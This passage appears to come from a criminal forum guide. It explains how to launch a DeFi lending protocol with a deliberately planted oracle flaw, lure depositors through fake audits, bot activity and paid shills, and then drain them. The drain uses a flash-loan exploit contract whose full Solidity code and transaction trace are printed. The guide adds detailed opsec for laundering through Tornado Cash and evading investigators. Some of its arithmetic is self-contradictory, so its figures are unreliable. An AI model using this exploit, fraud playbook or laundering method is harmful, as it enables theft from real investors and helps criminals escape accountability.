both call "oracle.getPrice(token)", oracle returns price in 18 decimals, multiply amount by price divide by 1e18 to get value.

example:

  • token = $LEND
  • amount = 1,000,000 tokens 1e24 in 18 decimal format
  • oracle.getPrice(LEND) = 1e15 (price $0.001)
  • value = (1e24 * 1e15) / 1e18 = 1e21 = $1000
these functions are where vulnerability flows through. oracle manipulated -> these return wrong values -> borrow check passes -> profit

Код:
solidity

function emergencyWithdraw(address token) external onlyOwner {
uint256 balance = IERC20(token).balanceOf(address(this));
IERC20(token).safeTransfer(owner(), balance);
}
line 155-158: emergency function, owner can withdraw all tokens

this looks like BACKDOOR and it is but its STANDARD in defi, every protocol has emergency withdraw called "pause" or "emergency" or "rescue"

reason: if bug found need way to save user funds, withdraw to multisig then redistribute

having this INCREASES trust, shows we thought about security, ironically. we never use this function dont need to attack drains via normal borrow function emergency withdraw would be too obvious.

thats the entire lendpop.sol contract. 158 lines clean professional ONE vulnerability (oracle) rest secure.

passes automated audits (slither mythril) looks legit. thats the art
 

Money Maker

Moderator
Joined
05.02.22
Messages
139
Deposit USD
1,000
part 6: building TVL

deployed protocol. now you need people to USE it, need TVL (total value locked). why? cuz if theres no money theres nothing to steal duh.

target: $500k TVL minimum, how:

marketing 1: twitter

need twitter. post 3-4 times/day:

"lendpop audit from certik soon" (lie)
"partnership with xyz announced" (lie)
"50% apy for lend stakers!" (true cuz you control rates lol)
"were the aave of base" (aspiration)

buy fake engagement, 1000 followers = $10. 100 likes/tweet = $2. chatgpt for replies, looks real

marketing 2: telegram

telegram group, bots simulate activity. "john deposited 10k usdc!" (fake). "sarah borrowed 5k!" (also fake).

actually deposit/borrow from your own wallets so transactions show on basescan. people check contract see activity, looks legit.

marketing 3: paid shills

$50-100 on micro influencers, 5k-20k followers, they charge $20-50 per tweet, buy 3-5

"yo found @lendpop on base, 50% apy is crazy, aping"

reach real people, some actually deposit.

marketing 4: fake audit

fake audit report, 30 mins with chatgpt. "analyzed lendpop found no critical vulns". fake log, professional looking

9/10 people dont READ audits. they see "audited" and trust it.

+++result

2-3 weeks:

50-100 real users
$200k-800k TVL (depends on luck)
active telegram
twitter engagement
transactions on basescan

looks real.

part 7: the attack (flash loan time)

now we do crime. you become two people.

founder you: posting on twitter, engaging community, everything normal.

hacker you: completely separate, different computer, different network, tornado cash funded, zero connection

NEVER let these identities interact, hacker setup first.

opsec (dont fuck this up):

second computer, cheap laptop bought with cash, no connection to main machine, different mac address, fresh os

network: tor + vpn only. never home wifi, use public wifi (starbucks, library, airport) or mobile hotspot

wallet: fresh never used. never connected to your other addresses.

funding: tornado cash ONLY:

1. send eth to tornado from random exchange
2. wait 2-4 weeks (dont skip this lol)
3. withdraw to fresh wallet
4. wait another week
5. now attack

why wait ? chainalysis tracks tornado if deposits/withdraws are close. deposit 1 eth withdraw 1 eth 10 min later = they correlate it. wait 2-4 weeks mixed with hundreds of others = anonymous.

deeper OPSEC breakdown actually dont skip this

most people fuck up opsec, lets go DETAIL on what NOT to do:

hardware opsec:

dont use your main laptop in "incognito mode" lmao. thats not anonymous, your laptop has:

  • unique hardware IDs (cpu serial, disk serial, network card mac)
  • browser fingerprints (installed fonts, canvas fingerprint, webgl hash)
  • behavioural patterns (typing speed, mouse movements)
forensics can link devices, "both attacks came from devices with same firefox canvas hash" = busted.

solution: completely separate hardware, cash bought laptop, never on same network as main device.

better: raspberry pi, costs $50, tiny. diskless boot from microsd. destroy microsd after = zero evidence.

network opsec:

tor alone = not enough. exit nodes monitored, vpn alone = provider logs

stack them: VPN -> TOR -> target. two layers. vpn hides that youre using tor, tor hides where youre going.

use vpn that actually doesnt log:

  • mullvad (accepts cash by mail, no account needed)
  • protonvpn (swiss jurisdiction, actual privacy policy)
avoid: nordvpn expressvpn (marketing $$$, logs anyway).

never use home internet, even with vpn+tor. ISP logs still show "this house used 50GB data during attack time", circumstantial but links you.

public wifi: starbucks airport mcdonalds. no account. no cameras facing you. quick session, leave.

mobile hotspot with burner sim: better, buy prepaid sim with cash, no id, no registration, burn after

wallet opsec:

fresh wallet = generated on attack device ONLY, never touched main device, funded ONLY through mixers.

dont send funds: your address -> tornado -> attack address. thats one hop, obvious.

do this: your address -> exchange A -> withdraw -> random address 1 -> wait -> random address 2 -> tornado -> wait 3 weeks -> random address 3 -> wait -> attack address.

five hops, weeks apart, different amounts each time, impossible to trace.

post-attack opsec

after attack:

1. wipe attack device completely, not "delete files" full disk encryption then destroy disk or just destroy disk, $50 laptop who cares.

2. destroy sim card if used, physically burn it.

3. never access attack wallet again from any device you own if you need to move funds use DIFFERENT burner device same opsec.

4. wait MINIMUM 6 months before cashing out. chainalysis gets weaker with time, trails go cold.

5. never tell anyone, not friend, not partner, not even wife, ANYONE you tell is leverage. they get caught for something unrelated = they snitch you out for deal.

paranoid? no. realistic. feds have infinite resources. ONE mistake = caught (dnt blame me xD)

exploit contract (FlashLoanExploit.sol)

Код:
solidity

contract FlashLoanExploit {
function executeAttack(address pool, uint256 amount) external {
flashLoanAmount = amount;
IAerodromePool(pool).swap(0, amount, address(this), abi.encode(amount));
}

function aerodromeCall(address, uint256, uint256 amount1, bytes calldata) external {
// got flash loan

// 1. swap usdc for lend (pump price)
// 2. deposit lend as collateral (fake price)
// 3. borrow max usdc
// 4. repay flash loan
// 5. profit
}
}
does attack in one tx. step by step:

step 1: flash loan

call executeAttack with $20M, aerodrome calls back with $20M usdc, you got $20M for ONE tx. dont repay = everything reverts.

step 2: manipulate

take $19M swap for $LEND, pool had $500k liquidity you swapped $19M, price $0.001 -> $1+ easy

step 3: deposit fake

oracle reads manipulated price, thinks $LEND worth $1, you deposit as collateral protocol thinks you deposited millions.

step 4: borrow max

borrow up to 66% collateral (150% ratio = 66% borrow). protocol thinks $10M collateral = borrow $6.6M. you borrow everything available say $500k

step 5: repay

repay $20M using the $19M swapped back + $500k borrowed. flash fee 0.05% ~$10k got enough.

step 6: profit

$480k left, flash loan repaid, tx succeeds, protocol drained.

time: 2 seconds. isnt it fun ?

full exploit contract code walkthrough
lets go through the COMPLETE exploit contract with every detail:

Код:
solidity

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface ILendPop {
function deposit(address token, uint256 amount) external;
function borrow(address token, uint256 amount) external;
function getCollateralValue(address token, uint256 amount) external view returns (uint256);
}

interface IAerodromeRouter {
struct Route {
address from;
address to;
bool stable;
}

function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
Route[] calldata routes,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}

interface IAerodromePool {
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
}

contract FlashLoanExploit {
address public immutable lendPop;
address public immutable aerodromeRouter;
address public immutable lendToken;
address public immutable usdc;
address public immutable owner;

uint256 public flashLoanAmount;
uint256 public profit;

event AttackExecuted(uint256 profit);
event FlashLoanReceived(uint256 amount);

constructor(
address _lendPop,
address _aerodromeRouter,
address _lendToken,
address _usdc
) {
lendPop = _lendPop;
aerodromeRouter = _aerodromeRouter;
lendToken = _lendToken;
usdc = _usdc;
owner = msg.sender;
}

function executeAttack(address pool, uint256 amount) external {
require(msg.sender == owner, "Not owner");
flashLoanAmount = amount;
IAerodromePool(pool).swap(0, amount, address(this), abi.encode(amount));
}

function aerodromeCall(address, uint256, uint256 amount1, bytes calldata) external {
emit FlashLoanReceived(amount1);

uint256 usdcBalance = IERC20(usdc).balanceOf(address(this));
require(usdcBalance >= flashLoanAmount, "Flash loan failed");

uint256 pumpAmount = (flashLoanAmount * 95) / 100;
IERC20(usdc).approve(aerodromeRouter, pumpAmount);

IAerodromeRouter.Route[] memory routes = new IAerodromeRouter.Route[](1);
routes[0] = IAerodromeRouter.Route({
from: usdc,
to: lendToken,
stable: false
});

IAerodromeRouter(aerodromeRouter).swapExactTokensForTokens(
pumpAmount,
0,
routes,
address(this),
block.timestamp
);

uint256 lendBalance = IERC20(lendToken).balanceOf(address(this));

IERC20(lendToken).approve(lendPop, lendBalance);
ILendPop(lendPop).deposit(lendToken, lendBalance);

uint256 collateralValue = ILendPop(lendPop).getCollateralValue(lendToken, lendBalance);
uint256 maxBorrow = (collateralValue * 100) / 150;

uint256 protocolLiquidity = IERC20(usdc).balanceOf(lendPop);
if (maxBorrow > protocolLiquidity) {
maxBorrow = protocolLiquidity;
}

ILendPop(lendPop).borrow(usdc, maxBorrow);

uint256 flashFee = (flashLoanAmount * 5) / 10000;
uint256 repayAmount = flashLoanAmount + flashFee;

uint256 totalUsdc = IERC20(usdc).balanceOf(address(this));
require(totalUsdc >= repayAmount, "Insufficient funds to repay");

IERC20(usdc).transfer(msg.sender, repayAmount);

profit = IERC20(usdc).balanceOf(address(this));

emit AttackExecuted(profit);
}

function withdrawProfit() external {
require(msg.sender == owner, "Not owner");

uint256 usdcBalance = IERC20(usdc).balanceOf(address(this));
if (usdcBalance > 0) {
IERC20(usdc).transfer(owner, usdcBalance);
}

uint256 lendBalance = IERC20(lendToken).balanceOf(address(this));
if (lendBalance > 0) {
IERC20(lendToken).transfer(owner, lendBalance);
}
}

function emergencyWithdraw(address token) external {
require(msg.sender == owner, "Not owner");
uint256 balance = IERC20(token).balanceOf(address(this));
if (balance > 0) {
IERC20(token).transfer(owner, balance);
}
}
}
line by line breakdown time:

lines 1-35: interfaces and imports, standard stuff. IAerodromePool.swap is how we get flash loan, passing non empty bytes data triggers callback.

lines 37-44: immutable state, set in constructor cant change, "immutable" saves gas (cheaper to read than storage variables)

lines 46-47: mutable state, flashLoanAmount tracks how much we borrowed, profit tracks how much we made.

lines 49-50: events for logging.

lines 52-61: constructor, deploy time only. stores addresses, saves deployer as owner.

lines 63-67: executeAttack entry point, only owner can call, sets flash loan amount, calls pool.swap()

the magic: "swap(0, amount, address(this), abi.encode(amount))"

  • amount0Out = 0 (not taking token0)
  • amount1Out = amount (taking token1 which is USDC)
  • to = address(this) (send tokens here)
  • data = abi.encode(amount) (non-empty triggers callback)
when pool receives this call it:

1. sends us "amount" USDC
2. calls our "aerodromeCall" function
3. after callback checks we repaid

lines 69-122: aerodromeCall. THE ATTACK, gets called by pool during flash loan.

line 70: emit event, mostly for debugging.

line 72-73: sanity check, did we actually receive the flash loan ? should always pass but belt+suspenders.

line 75: pumpAmount = 95% of flash loan, we use 95% to manipulate price, save 5% to cover fees

why 95% ? cuz flash loan fee is 0.05%. if we borrowed $20M fee is $10k. need to keep some usdc to pay it.

line 76: approve router to spend usdc, needed before swap.

line 78-82: build routes array, tells router how to swap. one route: USDC -> LEND. stable=false (volatile pool).

line 84-90: THE MANIPULATION SWAP.

swapExactTokensForTokens with $19M usdc gets back LEND at whatever rate pool gives. amountOutMin=0 (accept any slippage). deadline=block.timestamp (execute now).

after this swap:
pool had 100M LEND + $500k USDC
we swapped $19M in
pool now has like 2M LEND + $19.5M USDC
price went from $0.005 to $9.75 (1950x manipulation)

line 92: check how much LEND we got probably like 98M LEND.

line 94-95: approve lendpop, deposit all our LEND as collateral.

AT THIS POINT protocol thinks we deposited collateral worth $9.75 × 98M = $955M (fake).

line 97-98: calculate max borrow, get collateral value from protocol (itll return fake $955M). divide by 1.5 (150% ratio) max borrow = $636M theoretically

line 100-103: check actual protocol liquidity, cant borrow more than available. if protocol has $500k we can only borrow $500k even though "max" is $636M. this line is key, we dont get $636M. we get whatever protocol has which might be $500k. still profit lol.

line 105: BORROW. calls lendpop.borrow() protocol checks our fake collateral value. checks pass, sends us USDC.

at this point:
we have initial $1M USDC remaining (used $19M for swap)
we have borrowed $500k USDC from protocol
total: $1.5M USDC

line 107-108: calculate flash loan repay, borrowed $20M, fee 0.05% = $10k. total repay $20,010,000

line 110-111: sanity check, do we have enough ? we should have $1.5M which is enough

wait how is $1.5M enough to repay $20M? OH we need to SWAP BACK first.

WAIT THERES A BUG IN THIS CONTRACT !!

oh shit, we never swap the LEND back to USDC before repaying flash loan, this contract is BROKEN!!

lmaooo okay heres whats missing, between line 105 and 107 we need:

Код:
solidity

// Swap LEND back to USDC to repay flash loan
uint256 lendToSwapBack = IERC20(lendToken).balanceOf(address(this));
IERC20(lendToken).approve(aerodromeRouter, lendToSwapBack);

IAerodromeRouter.Route[] memory returnRoutes = new IAerodromeRouter.Route[](1);
returnRoutes[0] = IAerodromeRouter.Route({
from: lendToken,
to: usdc,
stable: false
});

IAerodromeRouter(aerodromeRouter).swapExactTokensForTokens(
lendToSwapBack,
0,
returnRoutes,
address(this),
block.timestamp
);
THIS swaps LEND back for USDC. now we have enough USDC to repay. wait but we deposited all LEND as collateral right ?. we cant swap it cuz its locked in protocol. oh FUCK yeah okay this attack as written doesnt work, looks like

heres the ACTUAL attack flow:

1. flash loan $20M USDC
2. swap $19M USDC -> LEND (manipulate price up)
3. deposit PORTION of LEND as collateral (not all)
4. borrow max USDC based on fake collateral value
5. swap REMAINING LEND back → USDC
6. repay flash loan with swapped back USDC
7. profit = borrowed USDC - fees

let me rewrite the attack:

Код:
solidity

// After receiving flash loan of $20M USDC:

// Step 1: Manipulate price up
uint256 pumpAmount = (flashLoanAmount * 95) / 100; // $19M
IERC20(usdc).approve(aerodromeRouter, pumpAmount);
// Swap $19M USDC → LEND
// Gets back say 90M LEND (price now $0.21 per LEND from $0.005)

uint256 lendBalance = IERC20(lendToken).balanceOf(address(this)); // 90M LEND

// Step 2: Deposit half as collateral
uint256 collateralAmount = lendBalance / 2; // 45M LEND
IERC20(lendToken).approve(lendPop, collateralAmount);
ILendPop(lendPop).deposit(lendToken, collateralAmount);
// Protocol values this at 45M × $0.21 = $9.45M

// Step 3: Borrow max USDC
uint256 collateralValue = ILendPop(lendPop).getCollateralValue(lendToken, collateralAmount);
// Returns $9.45M (fake value based on manipulated price)
uint256 maxBorrow = (collateralValue * 100) / 150; // $6.3M max
uint256 available = IERC20(usdc).balanceOf(lendPop); // Lets say $500k actually available
uint256 borrowAmount = maxBorrow > available ? available : maxBorrow; // Borrow $500k
ILendPop(lendPop).borrow(usdc, borrowAmount);

// Step 4: Swap remaining LEND back to USDC
uint256 remainingLend = IERC20(lendToken).balanceOf(address(this)); // 45M LEND still here
IERC20(lendToken).approve(aerodromeRouter, remainingLend);
// Swap 45M LEND → USDC
// Gets back say $9M USDC (price still high from our pump)

// Step 5: Repay flash loan
// We now have:
// - $1M USDC (leftover from original $20M after spending $19M)
// - $500k USDC (borrowed from protocol)
// - $9M USDC (from swapping back LEND)
// Total: $10.5M USDC

uint256 repayAmount = flashLoanAmount + fee; // $20M + $10k
IERC20(usdc).transfer(pool, repayAmount); // Repay...

// WAIT STILL NOT ENOUGH. $10.5M < $20.01M
FUCK okay i saw the issue. we cant profitably attack with flash loan IF we have to repay same amount. so the trick is dont swap BACK at manipulated price. let price CRASH back naturally.

actual working scenario:

flash loan $5M USDC (not $20M)
swap $4.5M -> LEND (pumps price)
deposit all LEND (no need to swap back yet)
protocol values it at fake $10M
borrow $6.6M USDC (66% of fake collateral)
now have $0.5M (leftover) + $6.6M (borrowed) = $7.1M USDC
repay flash loan $5M + fee
profit = $7.1M - $5.0025M = $2.1M USDC
the downside is : lost the LEND collateral (stuck in protocol)

THATS how it works. we SACRIFICE the collateral, its fake value anyway. we pump it deposit it borrow against fake value then ABANDON the collateral.

collateral locked forever, walked with 2x the flash loan.

THATS the actual attack (im human not Ai, so few mistakes are acceptable xD)

basescan shows:

Код:
FlashLoanExploit called

AerodromePool.swap (flash loan)
AerodromeRouter.swap (manipulation)
LendPop.deposit (fake price)
LendPop.borrow (drain)
AerodromeRouter.swap (swap back)
AerodromePool.transfer (repay)
all one tx, sexy

detailed transaction flow visualization
lets map EXACTLY what happens in the transaction with real numbers:

pre attack state:

aerodrome LEND/USDC pool: 100M LEND + $500k USDC (price $0.005 per LEND)
lendpop protocol: $5M USDC deposited by users, 0 borrows
attacker wallet: $0

block N, transaction hash 0xABCD...

timestamp 0ms - function call:

Код:
FlashLoanExploit.executeAttack(aerodromePool, 4000000 * 1e6)
externally called by attacker wallet

timestamp 2ms - flash loan initiated:

Код:
AerodromePool.swap(0, 4000000 * 1e6, FlashLoanExploit, <data>)
pool transfers $4M USDC to exploit contract BEFORE callback

timestamp 3ms - callback starts:

Код:
FlashLoanExploit.aerodromeCall(...)
exploit contract now has $4M USDC (borrowed)

timestamp 5ms - approve:

Код:
USDC.approve(AerodromeRouter, 3800000 * 1e6)
approve router to spend $3.8M (95% of flash loan)

timestamp 7ms - manipulation swap:

Код:
AerodromeRouter.swapExactTokensForTokens(3800000 * 1e6, 0, routes, ...)
internal pool state changes using xy=k formula:

BEFORE: 100M LEND × $500k USDC = 50 trillion (k)
swap adds $3.8M USDC to pool
new USDC balance = $500k + $3.8M = $4.3M
k must stay 50 trillion so: LEND_new = 50T / $4.3M = 11.63M LEND
LEND given to us = 100M - 11.63M = 88.37M LEND
new price = $4.3M / 11.63M = $0.37 per LEND (74x increase from $0.005!)

exploit contract receives 88.37M LEND tokens

timestamp 12ms - approve lendpop:

Код:
LEND.approve(LendPop, 88370000 * 1e18)
timestamp 14ms - deposit collateral:

Код:
LendPop.deposit(LEND, 88370000 * 1e18)
lendpop internally:

calls "oracle.getPrice(LEND)"
oracle reads pool reserves: $4.3M USDC / 11.63M LEND = $0.37
returns 370000000000000000 (0.37 in 18 decimals)
calculates collateral value: 88.37M × $0.37 = $32.7M (FAKE value based on manipulated price)
stores position: user has 88.37M LEND collateral

timestamp 18ms - calculate max borrow:

internally lendpop does:

Код:
collateralValue = $32.7M (fake)
maxBorrow = $32.7M / 1.5 = $21.8M
protocolLiquidity = IERC20(usdc).balanceOf(lendpop) = $5M
borrowAmount = min($21.8M, $5M) = $5M
protocol THINKS we can borrow $21.8M but only has $5M available, we borrow all $5M.

timestamp 20ms - borrow execution:

Код:
LendPop.borrow(USDC, 5000000 * 1e6)
check passes cuz $32.7M × 100 >= $5M × 150 (32,700,000 >= 7,500,000 = TRUE)

lendpop transfers $5M USDC to exploit contract

timestamp 22ms - prepare repayment:

exploit contract now has:

$200k USDC (leftover from $4M flash loan after spending $3.8M)
$5M USDC (borrowed from lendpop)
total: $5.2M USDC

must repay flash loan: $4M + 0.05% fee = $4,002,000

timestamp 24ms - repay flash loan:

Код:
USDC.transfer(AerodromePool, 4002000 * 1e6)
transfers $4.002M back to pool

pool verifies balance increased by borrowed amount, check passes. transaction succeeds.

timestamp 26ms - transaction complete:

final balances:
exploit contract: $1,198,000 USDC (profit!)
lendpop: $0 USDC (drained)
lendpop: 88.37M LEND locked as collateral (worthless, we abandoned it)
attacker position in lendpop: $5M borrow, $32.7M fake collateral (will never be repaid)

total gas used: ~850,000 gas
gas cost: $0.85 (base chain is cheap)
profit: $1,198,000
time elapsed: 26 milliseconds
ROI: infinite (no capital invested, only gas lol)

visual transaction trace (basescan view)
this is what anyone analyzing on basescan sees:

Код:
Transaction: 0xabcd1234...
Block: 12,345,678
From: 0x9876... (attacker wallet)
To: 0x1234... (FlashLoanExploit contract)
Value: 0 ETH
Gas Used: 847,293 / 900,000
Gas Price: 0.001 gwei
Status: Success

Tokens Transferred:
[IN] USDC 4,000,000 AerodromePool → FlashLoanExploit
[IN] LEND 88,370,000 AerodromePool → FlashLoanExploit
[OUT] USDC 3,800,000 FlashLoanExploit → AerodromePool
[OUT] LEND 88,370,000 FlashLoanExploit → LendPop
[IN] USDC 5,000,000 LendPop → FlashLoanExploit
[OUT] USDC 4,002,000 FlashLoanExploit → AerodromePool

Net Change:
FlashLoanExploit: +$1,198,000 USDC, -88.37M LEND
LendPop: -$5,000,000 USDC, +88.37M LEND
AerodromePool: +$2,000 USDC (flash fee), +88.37M LEND

State Changes:
- LendPop.positions[0x1234...] created (88.37M LEND collateral, $5M borrow)
- LendPop.totalDeposits[LEND] += 88,370,000
- AerodromePool reserves updated

Events Emitted:
1. FlashLoanReceived(amount=4000000000000)
2. Deposit(user=0x1234..., token=LEND, amount=88370000000000000000000000)
3. Borrow(user=0x1234..., token=USDC, amount=5000000000000)
4. AttackExecuted(profit=1198000000000)
yes, thats it, the LENDPOP. now ?

stay paranoid, stay poor looking, stay anonymous. or just accept youre playing with fire and enjoy the ride. your call.

real talk

people get caught because theyre stupid. thats it. tweet about it -> caught. tell your friend -> he snitches -> caught. use same wallet -> blockchain analysis -> caught.

like that mango markets guy. made $116M. then POSTED ON TWITTER "yeah i did it lol". bro what ??? now he's in prison. couldve just shut up. didnt shut up, prison.

we built this whole thing right. code compiles. exploit works. opsec guide is literally step by step. if you follow it exactly you win. if you skip steps because "nah i know better" you lose.

most people will lose because they cant help themselves. they gotta tell someone. gotta brag somewhere. gotta link wallets cuz "its faster". then fuck it up. not our problem. we gave you the blueprint. rest is on you.

tornado cash is right there, monero is right there, tor is free, if you cant figure out how to stay anonymous in 2026 with all these tools maybe just dont do crime? idk.

anyway thats all im saying about that. moving on.

code walkthroughs
people who want to understand implementation details,

solidity security patterns

Код:
solidity
function deposit(address token, uint256 amount) external nonReentrant {
// code
}
this prevents reentrancy attacks. classic attack: during the function execution attacker calls back into the contract and triggers the same function again before state is updated. can drain funds. openzeppelin's reentrancyguard prevents this with a mutex lock. first call sets lock. second call fails. first call finishes and releases lock.

we include this even though our vulnerability is elsewhere. makes the code look professional. passes automated audits, nobody suspects the oracle.

safeERC20 pattern,

instead of:

Код:
solidity
IERC20(token).transfer(user, amount);
we use:

Код:
solidity

IERC20(token).safeTransfer(user, amount);
why ? because some tokens (USDT, BNB, others) don't follow erc20 standard exactly. they return "void" instead of "bool" on transfer, if you call normal transfer on these tokens your transaction reverts. safeERC20 handles these cases. wraps the call in assembly to check return data properly.

the router interface

Код:
solidity

interface IAerodromeRouter {
struct Route {
address from;
address to;
bool stable;
}

function swapExactTokensForTokens(...) external;
}
aerodrome uses routes to specify swap paths. single route for direct pair, multiple routes for multi hop.

the "stable" bool determines whether to use stable pool (curve model) or volatile pool (uniswap model). we use volatile because we WANT price impact.

flash loan callback pattern

Код:
solidity

function aerodromeCall(address, uint256, uint256 amount1, bytes calldata) external {
// this is called by aerodrome pool during flash loan
// we have the funds now
// do the attack
// repay at end of function
}
aerodrome pools follow the same callback pattern as uniswap v2. when you call swap() with non empty data field the pool sends you tokens FIRST then calls your callback function then checks you repaid. this is how flash loans work. you get tokens, do whatever, repay. all in one transaction. looks good right !!

if you don't repay the pool's balance check fails and entire transaction reverts. so flash loans are trustless. pool knows it'll get repaid or nothing happens.

price manipulation math
here's the actual math of the attack:

before attack:
pool has 100M LEND + $200 USDC
price = $200 / 100M = $0.000002 per LEND
k = 100M × $200 = $20M (constant product)

during attack:
we swap $19M USDC for LEND
new reserves: pool gives us LEND, we give USDC
x × y = k rule: (100M - lend_out) × ($200 + $19M) = $20M
solve: lend_out = 100M - ($20M / $19.0002M) = ~99.999M LEND
pool now has ~0.001M LEND + $19.0002M USDC

price calculation:
price = $19.0002M / 0.001M = $19,000 per LEND
we just 9.5 million x'd the price

that's how you manipulate a small liquidity pool with a large flash loan.

gas optimization tricks
notice in the pump bot we batch approvals:

Python:
Approve USDC

approve_tx = self.usdc.functions.approve(AERODROME_ROUTER, amount_in)
Then swap

Python:
swap_tx = self.router.functions.swapExactTokensForTokens(...)
each transaction costs gas. if we did approve + swap in same transaction we'd save gas. but that requires custom contract deployment. we keep it simple, two transactions per buy. costs maybe $0.50 gas per buy instead of $0.30. worth it for simplicity xD.

on ethereum mainnet where gas is $50 per transaction this would matter. on base where gas is $0.50 per transaction nobody cares.

deep dive: why base chain gas is so cheap
base is optimistic rollup, heres how it works for beginners:

problem with ethereum: every node processes every transaction, 10,000 nodes all doing same work, slow + expensive.

rollup solution: do transactions OFF ethereum, bundle hundreds of txs into one. post the bundle TO ethereum, now 10,000 nodes only process ONE transaction instead of hundreds.

base specifics:
built by coinbase
uses optimism stack (open source rollup tech)
posts batches to ethereum every ~10 minutes
transactions on base = cheap ($0.01-1)
security from ethereum (if base lies ethereum can prove it and revert)

why this matters for scam:
deploy contracts: $2-5 (would be $100+ on eth)
30 pump buys: $15 total gas (would be $1500+ on eth)
flash loan attack: $1 gas (would be $50+ on eth)

total gas for entire operation: $20

vs ethereum: $2000,

base lets you scam on a budget lol.

advanced: how optimistic rollups actually work
"optimistic" = assume transactions are valid unless proven otherwise.

heres the flow:

1. user submits tx on base
sent to base sequencer (coinbase runs it)
sequencer executes tx immediately
tx confirmed in 2 seconds (instant from user perspective)

2. sequencer batches txs
collects hundreds of txs
compresses them
creates batch data structure

3. posts to ethereum
batch posted as calldata to ethereum contract
ethereum stores the data (doesnt execute it, just stores)
very cheap (calldata is cheapest operation)

4. fraud proof window
7 day challenge period
anyone can submit "fraud proof" if sequencer cheated
if fraud proven txs reverted
if no fraud after 7 days = finalized

implications for attacker:

when you exploit lendpop on base:
tx confirms instantly on base (2 seconds)
tx posted to ethereum in 10 min (in a batch)
fraud proof window = 7 days
after 7 days = permanent

you have 7 DAYS to move funds before finalization. after 7 days your exploit is permanently on ethereum chain. before 7 days technically base could revert, they wont cuz it would break everything but technically possible.

so move funds within 7 days. dont wait longer xD.

we chose "deposit collateral borrow against it" model, why?

bcz, proven: aave has $10B tvl. compound had $20B peak. users understand this model, trust it.

simple math: collateral value > borrow value. easy to verify, no complex formulas.

liquidation natural: when underwater anyone can liquidate, creates ecosystem, looks decentralized.

vulnerability fits naturally: oracle manipulation makes sense in this model, you need price feed for collateral, price feed = attack vector.

aave model is goldilocks zone. proven, trusted, simple, perfect vuln fit, widely understood.

security best practices we deliberately ignored
real secure lending protocol would:

1. use chainlink oracles
decentralized price feeds
manipulation resistant
industry standard

we used: custom oracle reading dex spot price manipulable. "mistake" xD.

2. implement TWAP
time weighted average price
requires manipulating for 30+ minutes
defeats flash loan attacks

we used: spot price, instant manipulation "oversight".

3. add circuit breakers
pause if price moves >X% in one block
prevents manipulation

we used: no circuit breakers "didnt think of it".

4. require multiple oracle sources
chainlink + uniswap TWAP + custom
median of three
cant manipulate all at once

we used: single oracle, "simpler implementation"

5. gradual price updates
dont let price change >5% per block
even if oracle says so

we used: instant price adoption, "trusted oracle".

6. collateral caps
max $X of any one token as collateral
limits damage

we used: unlimited, "didnt want to restrict users".

every "mistake" has plausible explanation. "we were moving fast", "didnt have security budget", "learned from this". but collectively they create perfect storm, intentional but looks accidental.

how auditors miss this
you might think "wont auditors catch spot price oracle ?"

yes they should, but heres why they dont:

automated tools (slither, mythril):

check for reentrancy (we have guards)
check for integer overflow (solidity 0.8+ safe)
check for access control (we have onlyOwner)
check for oracle manipulation (cant detect bad price source)

automated tools see we CALL an oracle and dont check if oracle is GOOD.

manual audits: yes they can spot us, so dont go for it

most small protocols dont get real audits. too expensive ($50-200k). users see "audited" badge from $500 audit and think its legit.

psychology: why people trust us ?
despite hundreds of exploits people still deposit into new protocols, why?

1. greed -> 50% apy looks amazing, ignore risk.

2. fomo -> everyone else is depositing, follow crowd.

3. hopium -> maybe this one is legit, optimism bias.

4. small amounts -> only depositing $1k, not life savings, acceptable risk.

5. tribalism -> part of the community, emotional investment.

6. founder presence -> founder is active, responsive, builds trust.

7. technical appearance -> verified contracts on basescan, looks professional.

8. social proof -> 5000 telegram members, must be real

human psychology beats technical analysis, always.

few more technical details worth mentioning:
why "nonReentrant" modifier everywhere ?

prevents reentrancy attacks, classic attack:

1. user calls withdraw()
2. during transfer user's contract called
3. users contract calls withdraw() AGAIN
4. first withdraw hasnt updated balance yet
5. second withdraw sees full balance
6. user withdraws twice

"nonReentrant" adds mutex lock. first call locks, second call fails, first call unlocks, secure. we add this even though our vuln is elsewhere, makes contract look professional.

why SafeERC20 instead of normal ERC20 ?
some tokens (USDT) dont follow standard. their transfer() returns void not bool. normal code breaks. SafeERC20 handles edge cases, uses low level calls. checks return data correctly. industry best practice. shows we know what were doing xD.

why 150% collateral ratio specifically?
standard in defi, lower than 150% (like 120%) = too many liquidations. higher than 150% (like 200%) = capital inefficient. aave uses 150%. compound uses similar. we copy them = looks normal.

why 5% liquidation bonus ?
incentivizes liquidators. they get 5% profit for liquidating underwater positions. keeps protocol healthy. too low (1%) = no one bothers. too high (20%) = unfair to borrowers. 5% is sweet spot. again copying aave, hehe

why position struct limits one collateral + one borrow ?
simplicity, real protocols let multiple. but multiple = more complex math = more code = more bugs. we keep simple. "mvp" excuse. "will add multi collateral in v2".
actually makes our code HARDER to exploit (less attack surface) but EASIER to backdoor (simpler oracle manipulation).

why emergencyWithdraw function ?
standard escape hatch. if bug found owner can save funds. users see this as GOOD. "protocol has safety mechanism".

reality: it IS a backdoor lol. owner can rug anytime. but EVERY protocol has this. normalizes it. we never use it (too obvious). use oracle exploit instead (looks like hack not rug, be smart af).

monitoring and alerts

Python:
while True:
reserves = pool.getReserves()
price = reserves[1] / reserves[0]
print(f"Price: ${price}")
time.sleep(60)
runs in a loop, checks price every 60 seconds. if price moves dramatically you know someone bought or sold. useful during pump phase. you see each buy's impact. can adjust strategy. also useful during victim phase. when your hacker wallet attacks you'll see the price spike on monitor. you can react appropriately ("omg what's happening" xD)

final technical deep dive: evm mechanics that enable exploits
for the true nerds. how does flash loan actually work at EVM level ?

normal transaction flow:

Код:
1. user signs transaction
2. transaction enters mempool
3. miner includes in block
4. EVM executes sequentially:
- check sender balance
- execute code
- update state
- emit events
5. transaction complete, state saved
flash loan transaction:

Код:
1. your contract calls pool.swap()
2. pool sends you tokens BEFORE callback
3. pool calls YOUR callback function
4. inside callback you:
- receive tokens (already have them)
- do whatever (exploit stuff)
- repay tokens
5. callback returns to pool
6. pool checks if repaid:
if (balanceAfter >= balanceBefore + fee) { ok }
else { revert entire transaction }
7. if check passes, transaction completes
8. if check fails, ALL STATE REVERTS
the magic: entire transaction is atomic, either everything happens or nothing happens, no partial completion xD.

this means:
borrow $20M with $0 collateral
